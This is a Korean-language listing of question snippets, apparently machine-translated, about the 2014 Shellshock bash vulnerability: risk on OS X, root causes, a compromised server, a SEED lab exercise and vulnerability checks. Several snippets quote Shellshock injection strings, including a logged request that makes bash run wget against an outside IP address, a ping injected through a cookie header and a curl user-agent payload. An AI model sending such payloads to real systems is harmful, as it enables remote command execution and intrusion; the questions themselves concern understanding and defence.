shellshock-bash-bug

0열

1답변

Apple과 함께 다양한 매장이 OS X 사용자에게 Shellshock bash 익스플로잇으로 인한 특별한 위험이 없다고 확신합니다. 그러나 필자는 필자의 시스템에서 파이썬을 자주 사용하고 그것이 내 위험을 증가시키는 지 궁금해합니다. 그리고 그것을 줄이기 위해 내가 할 수있는 일이 있는지 (다른 배쉬를 설치하지 않은 것). 필자는 Apple (2.7.5)

1열

2답변

Shellshock - 환경 변수의 주입이 허용되는 이유는 무엇입니까?

셸 쇼크의 취약점에 대한 이해가 안 2 가지가 있습니다 왜 환경 변수의 주입이 확인되지 않은 연결에 허용은? 그것은 무엇에 좋은가? 실제 어떤 서비스 변수를 삽입 할 수있는 기능을 제공합니다? 아이디어가 있으십니까?

0열

1답변

CronTab을 WebMin 시스템으로 복원하는 방법

이것이 내 서버가 희생 된 (또는 다른 공격이 작용 한) 쉘 충격 공격의 효과인지는 모르지만 기본적으로 해커가 내 SSH 구성을 덮어 쓸 수있게했습니다. 파일을 재시작하십시오. 이 새 파일은 wget을 사용하여 웹 사이트에서 파일을로드 한 다음 해킹 기능의 또 다른 라이브러리를 사용하여 내 서버에서 해킹/DOS를 실행하는 것으로 추측했습니다. 나는 그것을

0열

0답변

아파치가 요청 라인을 bash 명령으로 실행하는 것을 어떻게 방지 할 수 있습니까?

아파치 2.2.22에서 여러 개의 가상 호스트를 실행 중이고 아이슬란드의 "보안 스캐너"가 다음 http 요청 줄을 사용하여 파일을 cgi-bin 디렉토리로 만들 수 있었던 다소 놀라운 사건이 로그에 나타났습니다 : () { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\" 효과적으로 파일

0열

1답변

Shellshock Bash 버그의 근본 원인

shellshock bash 버그 (CVE-2014-6271)와 같은 근본 원인을 찾지 못했습니다. 내가 이해하는 한, 응용 프로그램 패킷 헤더 내에 악의적 인 코드가있는 경우 셸 쇼크가 발생합니다. 예를 들어 HTTP 헤더에 http-header [Cookie] =() {:; }; ping 192.168.0.1 그런 다음 192.168.0.1로 핑합니다.

0열

1답변

RoR : OpenSSL을로드 할 수 없음 (Apple의 Bash 픽스 이후)

오늘이 애플의 bash 쉘 쇼크를 실행 한 후 rvm을 통해 레일을 다시 설치하려고 시도한 후 누군가가이 오류에 대해 설명하고 조언 해 주겠다고 호언했다. OSX 10.9.5 mav로 업그레이드하고 Bash Shellshock을 실행하면 RoR 앱에 레일이 다시 설치되어야합니다. 번들 설치를 시도 할 때 다음을 얻습니다. OpenSSL을로드 할 수 없습니다

0열

1답변

에이전트 필드가 설정되었지만 쉘 쇼크의 기능을 실행하지 않습니다.

시드 랩 셸 쇼크 취약점 랩을 해결하려고합니다. 벨로우즈 명령으로 에이전트 필드를 설정하려고합니다. 컬 - A "() {echo hello;}; Content_type : 텍스트/일반, 에코 / 빈/LS -l "http://localhost/cgi-bin/sample.cgi 넣어 밖으로는 아직도 내가 환경 변수를 확인하여 에이전트 필드 테스트 CGI 스

3열

2답변

환경에 Bash 함수 설정

C/C++ 프로그램에서 Bash 환경에서 Bash 함수를 정의해야합니다. 셸 쇼크 버그 전에, 나는 이런 식으로 함수를 정의 할 수 있습니다 : C 프로그램에서 해당 my_func='() { echo "This is my function";}' 또는를 : setenv("my_func", "() { echo \"This is my function\";}"

0열

1답변

왜 내 bash 4.1.2 패키지가 shellshock에 취약하지 않습니까? 내 검사가 잘못 되었나요?

내 Bash 쉘 버전은 GNU bash, 버전 4.1.2 (2) -release (x86_64-redhat-linux-gnu)입니다. 나는 그것은 다시 취약 메시지를 인쇄하지 않은 명령 x='() { :;}; echo VULNERABLE' bash -c :. 이하로 사용하여 셸 쇼크 버그를 테스트했다. 나는 버그가 이유가 될 수있는 것을 bash는 버전

1열

1답변

쉘 shock 고정 bash 버전이있는 임포트되지 않은 환경 변수

다음 바이너리에서 사용할 환경 변수를 수정하는 간단한 bash 스크립트가 있습니다. 기본 스크립트 : #!/bin/bash export DBROOT="NEW_DIRECTORY" export TERM=xterm su -c " <test_process> " - omni "test_process"는 환경 변수로 DBROOT 변수를 사용합니다. 또한 DB